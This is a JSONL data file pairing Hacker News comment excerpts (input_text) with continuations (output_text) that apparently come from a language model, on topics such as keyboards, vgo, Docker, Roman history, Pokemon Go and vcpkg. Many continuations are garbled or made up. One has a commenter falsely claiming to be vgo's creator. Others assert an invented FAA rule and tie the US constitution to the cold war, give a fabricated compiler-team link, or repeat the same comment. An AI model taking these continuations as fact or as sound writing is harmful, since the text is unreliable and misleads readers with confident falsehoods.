quote from cancer.gov that\nhad nothing to do to the original statement?\n\nAllison's statement is accurate: a _single_ radiation dose is similar in\nprinciple to one received from the environment. His over-arching point is that\nwe don't regard radiation doses in the hospital as scary, taboo and dangerous,\nand yet we regard _any_ environmental dose as toxic and worth panicking over.\nThe rest of the article lays down his arguments for this view.\n\n~~~\nVladRussian\n>Allison's statement is accurate"} +{"output_text": "'ve been using\nthis keyboard for about a year now and have had no problems with it. I've\nmanaged to type about 80% of the way into a command line before needing to\nswitch back to a normal keyboard, and I've never had to type more than a few\nhundred words a day on it.\n\n~~~\nkstenerud\nI'm not sure I understand your resistance to bottoming out the switches. If\nyou're typing at a constant speed, the", "input_text": " are all easily reachable\nwithout changing the position of my hands. I also chose to program all the\nmodifier keys to work both as normal when held down and in a similar fashion\nto sticky keys when just tapped. For example, holding down shift and typing a\nletter works as normal, but hitting shift followed by a letter accomplishes\nthe same result, meaning that capital letters and punctuation don't really\ninterrupt the flow of typing or require chording.\n\nI also have rather resistive keyswitches (nominally 185g, ~170g in actuality)\nwhich was of ergonomic benefit to me. I wouldn't expect it to help most\npeople, but it helped me learn to type without bottoming out the switches.\nStarting out, the heavier springs caught me before reaching the bottom. Now I\ntype in a much gentler fashion, even if peak force is greater than on a\nstandard keyboard.\n\nMoving down to 48 keys can seem intimidating, but I adjusted rather quickly.\nIt only took me about a couple weeks to become comfortable with the layout\nchanges (staggered keys to a grid layout and Workman instead of QWERTY). I\nbelieve that part of the reason it was such an easy transition was because I\nchanged the layout whenever I had trouble adjusting to it. I had wanted to\nplace the underscore on the same key as F in a QWERTY layout to make typing\nsnake_case identifiers easier, but kept hitting the adjacent equals key\ninstead. I could have pushed through it, but I embraced what my brain clearly\nfelt was right whenever a similar thing happened and picked up the layout much\nquicker than I expected.\n\nAnother common concern is losing competence with a normal keyboard or standard\nlayout, but at least in my case that hasn't been an issue. I"} +{"output_text": "dcherman\nI think the author is referring to the \"vendored\" (?) packages that exist in\nmany languages, including Go.\n\n~~~\ncalcifer\nYes, that's what I meant by \"vendored (?) packages\".\n\n------\ndcherman\nI'm the creator of VGO, and I'm happy to answer any questions about it.\n\n~~~\ndcherman\nSome of the questions have been asked, but no one has", "input_text": " to run out _now_ and buy\nit.\n\nSince people aren't willing to do this it goes to show that the claims of the\nLisp junkies are just pipe dreams.\n\nIf programming on an all Lisp environment really was 10x more productive even\na ten thousand dollar price tag would be chicken feed.\n\nLisp fans like to talk it up about how great it is, but at the end of the day\nare unwilling to put their money where their mouths are.\n\n~~~\njustinlilly\nThis is only the case if productivity is your only concern. There are also\nconsiderations such as support, security, and familiarity.\n\n \nSemantic Import Versioning - SamWhited\nhttps://research.swtch.com/vgo-import\n======\ncalcifer\nFrom the \"Avoiding Singleton Problems\" section:\n\n> Another problem would be if there were two HTTP stacks in the program.\n> Clearly only one HTTP stack can listen on port 80; we wouldn't want half the\n> program registering handlers that will not be used. Go developers are\n> already running into problems like this due to vendoring inside vendored\n> packages.\n\nThis is only a problem if you allow nested vendor/ directories, which \"dep\"\n(you know, the \"official experiment\" that suddenly got discarded to the\nsurprise of its developers) doesn't have because it recurses through the\nentire dependency tree and reduces it to a single vendor/, just like many\n(most?) other languages.\n\nThe whole post reads like the author thinks Go has a very unique dependency\nmanagement problem that no other language ever had which somehow necessitates\na completely unorthodox solution. Three blog posts into \"vgo\", I still don't\nsee why...\n\n~~~\n"} +{"output_text": " of my concerns with\ndeploying a model to the board is that it may be unstable, but I\u2019m not sure\nhow to mitigate that.\n\n~~~\npsuter\nWe deployed to a Pi because it's small and fast. We did not have any\ncatastrophic failures, but we did have some weird results. We had to tweak the\nhyperparameters to get a better baseline (we started with a smaller model,\nwhich was unstable).\n\nWe did not", "input_text": "\ninterprets the state of the board and passes it off to Stockfish to display\nmove suggestions in real time.\n\nWe didn\u2019t quite get to recording the state over time in PGN but we hope to\ncontinue this project and add that soon!\n\nWould love to know what you think. We\u2019re working on enhancing other board\ngames with computer vision as well; if you want to help us beta test sign up\nat [https://boardboss.com](https://boardboss.com)\n\nAlso I live tweeted about our progress during the hackathon so if you\u2019re\ninterested in how the sausage is made you can check out the blow-by-blow here:\n[https://threadreaderapp.com/thread/1179424684502388736.html](https://threadreaderapp.com/thread/1179424684502388736.html)\n\n~~~\npsuter\nCongrats! We tried something similar a few years ago (also at the TC Disrupt\nHackathon [1]), but had to take a lot of shortcuts to get to something\nworking. I'm impressed you had the time to train a proper model (we went with\nold school CV hacks).\n\nLooking forward to seeing what BoardBoss could become. These days I've been\nwanting a CV app to track backgammon games. Those dice can be pretty tiny\nthough :)\n\n[1]\n[https://devpost.com/software/chesseye](https://devpost.com/software/chesseye)\n\n~~~\nrocauc\nGreat minds! Love that you deployed to a Pi \u2013 I\u2019ve thought about the same to\ncomplement or replace smartphones.\n\nCan you shed some insight into your ML process? One"} +{"output_text": "\nis reactivated.\n\nI'm sure there are other examples of companies doing this, but I can't think of\nany off the top of my head.\n\n------\nsant0sk1\nI think this is a smart move on Apple's part. If the iPhone is too open, then\npeople will find ways to circumvent the restrictions and the iPhone will\nbecome a haven for pirated apps. If the iPhone is closed, then you can\nlegitimately", "input_text": " a little optimistic.\n\nOn the plus side, you can't possibly have a worse piracy problem with your\napplication than China does with everything, and you'll probably eventually do\nwhat Chinese software companies do: put the real meat on the server, let\neveryone have your client for free, and let the users who prefer to Own Their\nGames Instead Of Renting Them cry to themselves in the corner.\n\n~~~\nm_eiman\nI've read a few articles/posts about piracy rates, and it seems that a piracy\nrate of 90% is \"normal\", at least for PC titles. So to me it seems like piracy\non the iPhone is lower than it could have been, and a lot lower if it drops to\n50%. Still a problem, of course, but if Apple keep making it more complicated\nto jailbreak the hardware it might actually be moving towards 0%.\n\n------\njdg\nEh, this game is being pirated more than the average app.\n\nFrom what I heard at Greg Yardley (PinchMedia)'s talk at 360idev yesterday,\nthe average piracy rate is 34%. My personal experience with Boxcar lines up\nwith those numbers, along with a 0.056% conversion rate from pirated to paid.\nThe \"average\" there, again according to PinchMedia, is 0.043% or 1 in 233.\n\nThey're taking the right approach in that, well, the truth is if someone is\ngoing to pirate something then even if you try and dissuade them they'll just\nmove on to the next one. In my particular case, I send a push notification\nletting them know we've detected that they are using a pirated copy, and then\ndisable their account. If they purchase the legitimate version, their account"} +{"output_text": "k\nI'd say the peak was in the late 70's, but it's true that the 80's were\npretty bad. The 80's were also the era of the microcomputer revolution, with\nthe C64, Apple II, Atari, and Commodore PET all on the market. The 70's were\nthe era of microcomputer BASIC, with Altair, Commodore BASIC, and Microsoft\n BASIC. The 60's were the era of FORTRAN,", "input_text": "\nC64, in a weird turn of events he had to resort to printing out screenshots of\nmemory dumps, run those through an OCR. But the OCR was buggy and he had to\ncheck every byte by hand.\n\n[http://www.ludumdare.com/compo/2013/04/29/ponkmortem/#more-2...](http://www.ludumdare.com/compo/2013/04/29/ponkmortem/#more-250547)\n\nReminded me a bit of this story..\n\n------\nverandaguy\nAs a relatively new (5 or so years experience) programmer, 1985 sounds like\nhell.\n\n~~~\nrayiner\nSoftware development basically peaked in the mid 1980's.\n\nMacintosh Common Lisp circa 1987:\n[http://basalgangster.macgui.com/RetroMacComputing/The_Long_V...](http://basalgangster.macgui.com/RetroMacComputing/The_Long_View/Entries/2013/2/17_Macintosh_Common_Lisp.html),\nspecifically:\n[http://basalgangster.macgui.com/RetroMacComputing/The_Long_V...](http://basalgangster.macgui.com/RetroMacComputing/The_Long_View/Entries/2013/2/17_Macintosh_Common_Lisp_files/inspect%20and%20describe.jpg)\n\nFirebug circa 2013: , specifically\n\n\n~~~\nsvachale"} +{"output_text": " errors, and that these errors are\nconsistent across time and space\". It's a useful heuristic, because it\nidentifies the most common form of media bias - the lazy journalist who\nrepeatedly accepts a narrative without checking the facts. It's not a\nthesis.\n\n~~~\najross\n> It's a useful heuristic, because it identifies the most common form of media\n> bias - the lazy journalist who repeatedly accepts a narrative without\n> checking the facts.\n", "input_text": "\nall after I said I will only answer some parts Off the record.\n\nMost often then not, the journalists already has a story when they come to\nyou. All they need is a quote of you saying what they already wrote.\n\n~~~\njacquesm\nThat's so dishonest it isn't even funny. I was interviewed a few years back\nbecause I built an - unreleased - search engine and the interviewer wanted me\nto say some particular stuff about Google. I refused and the interview\natmosphere was definitely very much different after that. There are plenty of\ngood journalists but there are also a bunch of them that are complete jerks\nthat fabricate stuff rather than report on reality.\n\n------\nbrownbat\nI especially liked the points about how often we vary our criticism of\njournalism based on the topic.\n\nReminded me a lot of Gell Mann amnesia, which I catch myself suffering from a\nlittle too often:\n\n[https://en.wikipedia.org/wiki/Gell-\nMann_amnesia_effect](https://en.wikipedia.org/wiki/Gell-Mann_amnesia_effect)\n\n~~~\najross\nThe Gell-Mann thing is dangerous pseudo science, stay away. It's not even\ninvented by a scientist. It's the excuse people go to to disbelieve something\nthey see in coverage, or to win arguments about \"the media\" or \"fake news\". If\nyou want to dismiss something as a falsehood, you have to do it with evidence,\nnot quips. This article is an excellent example.\n\n~~~\njdietrich\nThe Gell-Mann amnesia effect doesn't say \"all news is bunkum\", it says \"the\nnews media consistently make obvious"} +{"output_text": " to\nchange the parking meters to say they were charged when they weren't.\n\nWe have a solution. EasyALPR is a commercial company, not a government one.\nWe're a small company but we have the data and the technology to solve these\nproblems.\n\nWe have a pilot program with the City of Austin. We're talking about parking\nmonitoring systems that are in place in cities all over the world.\n\nWe're talking to the City of Portland", "input_text": " to pay the parking ticket \u2014 no\nautomated machines. So we waited over an hour to pay our ticket. Time that we\nended up paying with our ticket (per hour parking). The cashier didn\u2019t want to\nrefund us for the waiting time. If the law doesn\u2019t require any standards\nrequiring waiting times \u2014 why would a parking operator ever be incentivized to\nhave an efficient checkout system? Especially if they are the only parking in\ntown. Anyways lots of sketchy consumer violations in this space.\n\n~~~\nhanniabu\nWhile I agree that's a hassle, I don't think this should result in a refund.\nIt's like ordering dinner, eating it, and then wanting a refund for the meal\nbecause you waited a long time for the meal.\n\n~~~\nppseafield\nI think the OP meant they were charged for the extra hour they spent waiting\nin line trying to exit.\n\n~~~\nhanniabu\nOh I see, thought that they didn't think they should pay just because there\nwas a long line to get out.\n\n------\nbredren\nMy SUS company, EasyALPR focuses on commercial parking enforcement / vehicle\ncontrol.\n\nFirst, the people who get \"in trouble\" are often absolutely brazen in their\nunfair use of common parking. They're warned multiple times and even when\ngiven a \"last chance\" notice they'll just keep breaking rules.\n\nAt that point you have to TOW them. And let me tell you, a TOW is something\nyou can't lampoon or get free internet off of. Towing SUCKS and drivers bend\nthe knee after this happens. I have data to prove it!\n\nAnyhow, another thing about these folks is that they will go so far as"} +{"output_text": "\n------\njancsika\n> _The US Federal Aviation Administration (FAA) does not recognize the use of\n> the country\u2019s name in place of its capital city, and it strictly enforces\n> this rule._\n\nThis is a very strange thing to say. I've lived in the US for over a decade\nnow, and I've heard this claim before.\n\nDoes the FAA have a vested interest in making this claim? If so, why?", "input_text": "path after all!\n\n~~~\nsqueaky-clean\nActually I just remembered an even more relevant funny story. One of the\nservices I maintain at my job is a list of airport locations and their names\nin various languages (for airlines to use) among other details. I get so many\nrequests to change things from airlines that don't understand basic geography\nor even where they fly.\n\nMy favorite is when a customer was raising hell because London International\nAirport (YXU) wasn't appearing under the city listing for London, UK and\ndemanding it be added immediately. I had to tell them you don't fly there...\nit's located in Canada.\n\n~~~\nPxtl\nHah. The Y prefix alone should've been a tip off. I don't know a darned thing\nabout air travel but I know Canada is stuck with the Y.\n\n~~~\nZombieball\nI think technically Canada is stuck with the \"C\" prefix (vs. \"K\" for USA) eg.\nCYVR, CYUL, CYXX\n\nWe also have airports with \"CZ\" (eg. CZBB).\n\nI am not sure what the difference (if any) between CZ vs. CY codes is.\nProbably just sticking with convention (begin with Y or Z because everyone\nelse does).\n\n~~~\nagrahul\nYes, the entirety of C is currently allocated to Canada[1]. The parent\ncomments were talking about IATA codes, though, which aren't allocated by\nprefix.\n\n[1]\n[https://en.wikipedia.org/wiki/International_Civil_Aviation_O...](https://en.wikipedia.org/wiki/International_Civil_Aviation_Organization_airport_code#Prefixes)\n"} +{"output_text": " of these are free or very cheap.\n\n~~~\njrochkind1\n> Containers use a differential filesystem, so N running containers for an\n> application will take up 1 X the size of the container image + N x the\n> average space of changes made in the running containers on top of that base\n> image.\n\nThat sounds like it's just like a virtual machine, except it's even worse.\n\nContainers are not like VMs in that", "input_text": " build that passes\nlocally to also pass on CI. This cuts down on a lot of potential back and\nforth. The only shared dependency between CI/local/prod/staging is docker\nitself.\n\nAnother benefit is (almost) complete isolation. This means rather than having\ndifferent vm images tracking different projects, you can have a single vm\nimage with docker, and have each container running on the vm for any version\nof any build across your system. From a CI perspective you can abstract most\nof the complex configuration for your applications into \"docker build -t\nmyapp_test./Dockerfile.test && docker run myapp_test\".\n\nContainers use a differential filesystem, so N running containers for an\napplication will take up 1 X the size of the container image + N x the average\nspace of changes made in the running containers on top of that base image.\nThis makes larger images highly space efficient without having to worry about\ndifferent instances treading on the same folders.\n\nThe line between dev and ops blurs a little (devops), but clear\nresponsibilities. Ops becomes responsible for maintaining the docker\ninfrastructure, and dev is responsible for everything inside the container\nboundary, the container image, installed packages, code compilation, and how\nthe containers interact. A container mantra is \"no more 'well it worked on MY\nmachine'\". If it works for the dev, it really will work in prod.\n\nBesides this, there a number of benefits around speed, accessibility,\ndebugging, standardization, the list goes on. There are also a ton of great\nand varied Docker CI solutions out there, from specific Docker based CI like\nus (codeship), Shippable, Drone, Circleci, as well as standard solutions like\njenkins via plugins. Many"} +{"output_text": ".\n\n~~~\nanacleto\nTrue.\n\n------\njokoon\nI wonder if the US would have been more democratic if the constitution had\ntaken into account the ideals of the French revolution.\n\nI mean, the constitution was written in the context of the cold war, and the\nUS was worried about communism. But the constitution was written in a time\nwhen aristocrats were very powerful, and the middle class was very weak.\n\nThe constitution was written", "input_text": " Pompey had strong political power and run for Console, but on his\nway to power, he found Crassus with the very same goal in mind. The problem is\nthat Crassus was the richest man in Rome (a billionaire compared to today) and\nhe had much more political influence.\n\nPompey (mainly because of Crassus's obstructionism) wasn't able to fully\ncapitalize on his military success.\n\nCaesar well understood that the stagnation was mainly due to the\nCrassus/Pompey (personal) rivalry and offered them to run himself for Console,\n(1) stop the Senate stagnation and (2) approve their reforms.\n\nThe rest is history.\n\n------\nB1FF_PSUVM\n[https://en.wikipedia.org/wiki/Marcus_Vipsanius_Agrippa](https://en.wikipedia.org/wiki/Marcus_Vipsanius_Agrippa)\n\n\"On September 2, 31 BC, the Battle of Actium was fought. Octavian's victory,\nwhich gave him the mastery of Rome and the empire, was mainly due to Agrippa.\"\n\n~~~\nanacleto\nI was about to say the same. Augustus didn't have at the time much battle\nstrategy skills. And in all fairness, military strategy was not his thing.\n\nActium \u2013 like my other battles under August's reign \u2013 was mainly due to\nAgrippa's military skills. In a hypothetical ranking of best Roman generals of\nall time, he should probably be placed somewhere between 1st and 5th place.\n\n~~~\njhellan\nAugustus lived into his late seventies partly due to his poor health, which\nforced him to stay away from many of his battles"} +{"output_text": " article title.\n\n------\njamesgagan\nI think the author is missing the point of social media. It's not about\ncommunicating with people, it's about connecting with people. I don't think\nFacebook comments are the answer.\n\n------\njamesgagan\nI think the author is missing the point of social media. It's not about\ncommunicating with people, it's about connecting with people. I don't think\nFacebook comments are the answer", "input_text": "\n\n------\ngdilla\nI think one advantage of FB comments is that it supposedly cuts down on\ntrolls, spam, and stupid arguments.\n\n~~~\nasdfologist\nYou must be new to FB.\n\n~~~\nxqyz\nOr to the internet in general.\n\n~~~\ngdilla\nJust sayin -\n[http://talkingpointsmemo.com/archives/2012/05/starting_later...](http://talkingpointsmemo.com/archives/2012/05/starting_later_this_week_tpm.php)\n\n~~~\nxqyz\nSame site from the link in the article\n():\n\n> Now the downsides, which are probably determinative for us. First, quite\n> simply a lot of people don\u2019t trust Facebook for reasons that range from\n> quite reasonable to totally paranoid. Second, and more significant in my\n> mind, is that many people don\u2019t want to bring their true identities into the\n> comments section of a political site. [...]\n\n> For those two reasons, especially the second, we\u2019re probably never going to\n> do this.\n\nIt's like \"yeah we know people probably won't like it, but fuck them.\"\n\n~~~\ngdilla\nThey also say it frees up their staff to do their jobs rather than moderating.\nNothing is perfect. They made a tradeoff.\n\n------\nbluetidepro\nTitle: \" _Why Facebook Comments Is A Bad Idea For Your Site_ \" In the article:\n\" _Perhaps in some contexts it makes sense_ \"\n\nParts of the post sound very contradicting to your actually"} +{"output_text": ".com/item?id=12673780](https://news.ycombinator.com/item?id=12673780)\n\n------\njwilber\nThis is a great example of why you should never use a closed source product.\n\n~~~\nblueimp\nOr a closed source product that you don't own.\n\n------\njwilber\nThis is a great example of why you should never use a closed source product.\n\n~~~", "input_text": " Cashdollar, born and raised. Sometimes I wrote his\nname as 'Larry $$' though.\n\n~~~\nblueimp\nLarry was also super helpful in identifying the underlying issue and very\npolite in his emails.\n\nWould definitely write another security vulnerability into my code again if I\nknew that Larry would report it. ;)\n\n~~~\nlcashdol\nThanks, :-)\n\n------\ngalaxyLogic\nIsn't a JQuery Plugin something that executes on the client-side? If so then\nhow can something on the client-side compromise the security of a server?\nIsn't the fault on the server-side?\n\nOr is this a PHP server-plugin which if installed on a PHP server makes them\ninsecure? But of course anything you install on server can make it insecure.\nNo?\n\n~~~\nrunn1ng\nThere is an example PHP code in the same repo and people copy-pasted that into\nproduction.\n\nThe issue is not in the front-end jQuery library, despite the title.\n\n------\nfulafel\nWhat other vulnerabilities did this backwards-incompatible Apache change\ncause? Probably many people rely on.htaccess, for example to disable access\nto non-public files or disable php execution on a DIY CMS file sharing area.\n\nSounds like the risk from this is not widely known. Probably the correct\nsolution for Apache would have been to detect presence of now-ignored\n.htaccess files and signal an error.\n\n~~~\nblueimp\nThat was my thought as well.\n\nI think one of the reasons nobody reported this earlier was that people simply\nassumed that.htaccess support was the default - Larry Cashdollar, the\nsecurity researcher, also confirmed this:\n[https://news.ycombinator"} +{"output_text": "mode). I'm really excited about it.\n\n~~~\nhatsunearu\nI think you're right. The game is really thin as far as gameplay, but the\nsocial aspect is something that I'm really looking forward to.\n\n------\njoeevans1000\nI'm not sure I see the allure of Pokemon Go. I'm not a big sports fan, and I\ndon't see the appeal of walking around looking for pokemon.\n\n~~~\n", "input_text": "\nNintendo is up 35% on Pokemon Go success - derwiki\nhttp://finance.yahoo.com/q?s=NTDOY&ql=1\n======\nhatsunearu\nI want to voice my concerns about the future of Pokemon Go so I'll do it here.\n\nThe power inflation is insane. The game will probably be unplayable to new\nplayers by the end of this month. Unlike Ingress, the game does not have a way\nto \"remove\" power from the game. You can increase the combined combat points\nof your pokemon collection unbound, and you have a massive power inflation\ngoing on. Sure, you get diminishing returns on the training but in the end the\npokemon don't disappear and you have a permanent increase in strength. Ingress\nmechanics always removes XM from the system and you get an equilibrium with\nthe spawn rate of XM and the consumption rate of XM (roughly equal to the rate\nof portal turnover). Pokemon Go has none of that. If this isn't addressed\nproperly I think the game might just die.\n\n~~~\nlubujackson\nThere's two things of interest here. The game itself, which is really thin as\nfar as gameplay and will dry up like a standard MMORPG as people go crazy\nleveling and the initial rush dies down. But the social aspect of meeting up\nat hotspots and dropping lures to get a party started and all that feels like\na new sort of sensation that should persist beyond this one game.\n\nThe real key is the location data from Ingress. There's plenty of room to\nexpand into other games, to create a cross-game persistent world or do any\nnumber of fun things (they already have the original Ingress game and a travel\n"} +{"output_text": " in, we can assume that there are an infinite number of\nplanets with the same parameters as Earth.\n\nThis is not true. The number of planets with the same parameters as Earth is\nfinite. The number of planets in the observable universe with the same\nparameters as Earth is even smaller.\n\nThe same goes for the other assumptions. The probability of life appearing on\na planet is not independent of the age of the universe. The probability of\nlife appearing on a planet", "input_text": " some of the math going on here is interesting and probably has some\ninteresting consequences for people's expectations about means. But I'm not\nsure about that paper...\n\nI want to be generous here and assume I'm misunderstanding, but it does seem a\nbit like the argument begs the question a bit.\n\nThe intended conclusion is that we should consider non-earth-like (i.e. non-\nearth-sized) planets as just as likely to be inhabited as earth-like planets.\nWhich is to say that we shouldn't expect that population density is strongly\ncorrelated with planet size.\n\nAnd this is shown starting from a model where \"mean population density is\ninvariant to planet size\". Hmm...\n\n------\nTouche\nSomething not mentioned here is the relationship between oxygen levels in the\natmosphere and the size of animals on a planet. During the era of giant\ncreatures (dinosaurs) the atmosphere was around 35% oxygen, today it is about\n21%.\n\n------\nHoushalter\nThis strikes me as very similar to the simulation argument. That is most\nbeings probably exist in simulations, and therefore you are far more likely to\nexist in a simulation than be a living person. Or similar anthropic arguments\ncould be made about many things. You are more likely to be living in a bigger\ncountry, you are more likely to be living in the period of time where Earth's\npopulation is the largest, etc.\n\n------\nGrantS\nInteresting analysis, but after reading the FAQ at the bottom, it rests upon\nquite a few important hidden assumptions. For example:\n\n>However if there is any hope of finding life on other planets, there must be\na huge number of planets with life in the Universe. Therefore, for the case\nwe're interested"} +{"output_text": "\nI am not sure if this is good news or not.\n\nI am not a C++ guy. I have worked with C and Python for past 10 years. I have\nnever worked with C++.\n\nI am not sure if this is good news or not.\n\n~~~\npjmlp\nIt is.\n\nSince the end of the 1990s, Microsoft has been investing heavily in the\ndevelopment of the Common Language Infrastructure (CLI), C++", "input_text": "Microsoft/vcpkg/blob/master/docs/about/faq.md#why-\nnot-conan)\n\n~~~\nhoistbypetard\nThanks. It looks like at least the third bullet has been reconsidered, based\non this announcement.\n\nBut I think the front matter on that section gives (at least for what I'm\nafter) a pretty good start on an answer to my question. They aim to version\nall libraries together as a platform (like, say, homebrew or yum+rpm). Where\nConan aims to behave a little more like what I'd term \"pypi for C++\". That is,\nif I'm reading this correctly, and I'm not yet certain that I am.\n\nOne thing that I want to do, and it's clear to me how I'd do it with conan (or\npip) but not yet clear to me how I'd do it with vcpkg, is have a version of a\npackage that's available in a public repository also be available in my\ninternal repository with some added private patches, and have my version \"win\"\nfor my projects.\n\nOur recurring need for this is when we're building out patches that we want to\nhave incorporated upstream but aren't ready to do that yet for one of many\nreasons.\n\n------\njclay\nWe've been using vcpkg on Windows and it's really made the process of managing\nc++ dependencies far less painful. Great to see this coming cross-platform as\nwe can now simplify the dependency section of our install guide to one line.\n\nvcpkg install boost cgal [etc...]\n\nTheir team has also been super friendly and responsive on Github. Looking\nforward to seeing where this goes.\n\n------\n0xFFC"} +{"output_text": "\nbackwards.\n\n> The music industry is a scam. It\u2019s a scam that\u2019s been going on for a long\n> time. It\u2019s a scam that\u2019s only gotten worse since the Internet.\n\nI don't know enough about the history of the music industry to have an opinion\non this.\n\n> The software industry is a scam. It\u2019s a scam that\u2019s been going on for a\n> long time. It\u2019s", "input_text": "\nknodi123\n> Dammit, Raymond Chen is out of pocket for a refund on that guy's\n> subscription.\n\n?!? That sounded like a positive review from somebody who liked the article.\nHe says it's neither amazingly interesting nor technical, but still good\nenough to bookmark.\n\n~~~\naryamaan\nWoah, I misread it too and in retrospective, it looks like an honest mistake\nto make. That pessage could mean the both things (could give positive or\nnegative intent). I wonder what other such good examples can be. And does such\nphenomenon is called with some name?\n\n~~~\nFroshKiller\nIt's called a backhanded compliment.\n\n \nMake something and sell it - J3L2404\nhttp://www.johndcook.com/blog/2010/01/22/make-something-and-sell-it/\n======\nactf\nI think this article presents an interesting argument, even though much of it\nis anecdotal. Some of the author's points are very interesting:\n\n> He says he\u2019s an empiricist and that data have convinced him he was dead\n> wrong. He now says that the idea of giving away intellectual property as\n> advertising bait is unsustainable and will have dire consequences.\n\nIt's too bad the author doesn't go into more detail about this. I'm curious to\nsee his \"data\".\n\n>It\u2019s OK for a potter to sell pots, but a musician should not sell music.\n\nI think I agree with the author - why should a musician not be able to sell\ntheir music if they choose. Those who choose to give their music away for free\ncan do so, but suggesting that it's morally wrong to sell music seems"} +{"output_text": "(although I think this is changing).\n\n[1] [http://lockpicking101.com/visual-guide-to-lock-\npicking/](http://lockpicking101.com/visual-guide-to-lock-picking/)\n\n[2] [http://lockpicking101.com/mit-guide-to-lock-\npicking/](http://lockpicking101.com/mit-guide-to-lock-p", "input_text": "~~~\nHomunculiheaded\nI was going to say, a weekend studying lock picking (which is definitely a fun\nthing to learn) and you can probably pick open a great majority of the houses\nout there in very little time... however, even if not practical this research\nis pretty interesting\n\n~~~\nseats\nAny recommendation on the best way to learn lock picking?\n\n~~~\nHomunculiheaded\nSure! I'm very much a novice but: I started with 'Visual Guide to Lockpicking'\n[1] although 'MIT Guide to Lock Picking' [2] is very good and also free. After\nyou get the basic mechanics of locks and lock-picking down you really just\nneed to practice. Get yourself a set of lock-picks online (also look at your\nstate laws for lock-picks, in many states only a licensed locksmith can carry\nthem around so it may be a good idea to keep them at home, and avoid doing\nthings like leaving them in your car/pocket. I believe some US states make it\nout right illegal to possess them, so just be aware).\n\nSome places will sell practice locks with pins removed, but do not buy them,\nthey are way overpriced and if you really want to understand the mechanics of\nlocks it will serve you well to bust one open. So go to a hardware store and\npick up an inexpensive but not cheap lock, crack it open and remove some of\nthe pins (even all but one), add/remove/reorder the pins until you are really\ngood, and then buy more locks.\n\nAlso do keep the law in mind, when I looked it up it's illegal in most if not\nall states to pick locks that you do not own if you are a not a locksmith\n"} +{"output_text": " they talk to people\nbelow them. Sociopaths are very good at this. They know that the average\nperson is not going to challenge them, and that they are going to do whatever\nthey want. So they use this to their advantage.\n\nThey use the 'power talk' to keep the average person in line. They also use it\nto keep the people below them in line. They know that if they are not\nrestraining the people below them, they will be", "input_text": ". If you take this as\nfailure of management, you _can_ make demands from strength (of course in a\ndiplomatic and understanding way).\n\nAt any time, dev work may make you miss deadlines, and where's that\nreplacement?\n\n------\nkstrauser\n\"We don't have a training budget right now, for you anyway, but that will\nchange next year.\"\n\n~~~\nbrodouevencode\nSimilar to \"get certified and we'll see about getting you a raise\".\n\nGets certified, no raise.\n\n------\ntommilukkarinen\nI dont consider anything bs unless its about money or equivalent. I Dont say\nanything at first or something like 'I think about it'. Think about My\nresponse, and finally Ask on something around these lines: \"So your suggestion\nis X? And it would, unfairly, cause me Y?\"\n\n------\nBalgair\nYou need to understand the underlying dynamics of the modern corporation.\n\nEach one is structured differently, but they have general similarities. It\ntakes some time and study, though. One of the best lenses I have found to view\nthe corporation is 'The Gervais Principle'[0], now about 10 years young. Rao\nuses 'The Office' to illustrate the dynamics of the modern corporation.\n\nBroadly speaking: Sociopaths, in their own best interests, knowingly promote\nover-performing Losers into Clueless middle-management, groom under-performing\nLosers into Sociopaths, and leave the average bare-minimum-effort Losers to\nfend for themselves.\n\nOne of the key lenses is the idea of 'talk' and how people in a corporation\ntalk to each other. Specifically, the 'power talk' of how"} +{"output_text": " mean, it\u2019s just a\nstylesheet, isn\u2019t it?\n\n~~~\nYetAnotherNick\nYes it's just a stylesheet. But it's not just a stylesheet. It's a set of\nclasses that are used to create the widgets.\n\nSo instead of having to create a button widget on android, you can use the\nButton class from the Boden SDK and it will create the same button widget for\nyou.\n\n~~~\nSignez", "input_text": " probably the leading contemporary\napproaches for cross platform mobile.\n\n~~~\nYetAnotherNick\nI think it's written for ReactNative as no javascript is a strange wording. I\ndon't care as much for javascript as that for much less responsive webview.\n\n------\nsetquk\nMight want to check the name for trademark violation...\n\n------\nblueprint\nCan it ensure full access to native SDKs?\n\n~~~\nYetAnotherNick\nIt's open source. You can add any SDK you want. \"ensure\": no.\n\n------\nesokullu\nhow is this different from qt-mobile?\n\n~~~\nrhodysurf\nit uses C++ and not QML for the interface, the UI components are actually\nnative, you can use templates, etc.\n\n~~~\nk__\nSo it's like React-Native, but wirh C++ instead of JS?\n\n~~~\nrhodysurf\nYes exactly. If you look at the code, it basically is just using pure virtual\nprovider classes to allow JNI on android and OBJC++ on iOS to provide the\nnative system UI components. Its pretty elegant actually.\n\nThe only problem becomes that it is a lot of code to manually maintain or\nbootstrap. And possibly a decent amount of effort to add new platform widgets,\nbut I didn't look very deeply into how exactly that would be done.\n\n------\nSignez\n> Native widgets: Instead of drawing widgets that look nearly identical to the\n> platform's design, Boden uses native OEM widgets ensuring that your app will\n> always have a truly native look and feel.\n\nWhile I fully understand the underlying concept, I don\u2019t understand why so\nmany people seems to be bothered by that anymore; I"} +{"output_text": " to a lot of extra work on the real\nworld.\n\n~~~\nwillvarfar\nI'm not sure I follow?\n\nThe Mill is a general purpose compiler that can compile any language to any\ntarget. It's not like a custom Itanium-like CPU.\n\nThe Mill compiler team is here:\n[http://mill.cc.gateway.edu/](http://mill.cc.gateway.edu/)\n\n~~~\nfleitz\nI'm", "input_text": ", and the porting effort was interrupted by their emergence\nfrom stealth mode to file patents.\n\n~~~\nMjolnir\nThanks, I'll have a look at the talks.\n\n------\nfleitz\nGreat idea, since it's all theoretical currently I'm wondering with the\ncompiler offloading how well it will actually perform. Itanium was capable of\ndoing some amazing things, but the compiler tech never quite worked out.\n\n~~~\nwillvarfar\nAh, but the Mill was primarily designed by a compiler writer ;)\n\nHere's Ivan's bio that is tagged on his talks:\n\n\"Ivan Godard has designed, implemented or led the teams for 11 compilers for a\nvariety of languages and targets, an operating system, an object-oriented\ndatabase, and four instruction set architectures. He participated in the\nrevision of Algol68 and is mentioned in its Report, was on the Green team that\nwon the Ada language competition, designed the Mary family of system\nimplementation languages, and was founding editor of the Machine Oriented\nLanguages Bulletin. He is a Member Emeritus of IFIPS Working Group 2.4\n(Implementation languages) and was a member of the committee that produced the\nIEEE and ISO floating-point standard 754-2011.\"\n\nSo actually its been designed almost compiler-first :)\n\n~~~\nfleitz\nStill interested in how it works in practice. I'm pretty sure the Itanium team\ncombined with Intel's compiler team have similar credentials.\n\nI'm not saying it can't work, not saying it won't work, but we know that most\ncode pointer chases. While CPU and compiler design is above my paygrade I know\nthat often a lot of fancy CPU/design and compiler tricks that make things\ntwice as fast on some benchmark leads"} +{"output_text": " work.\n\n[1]: 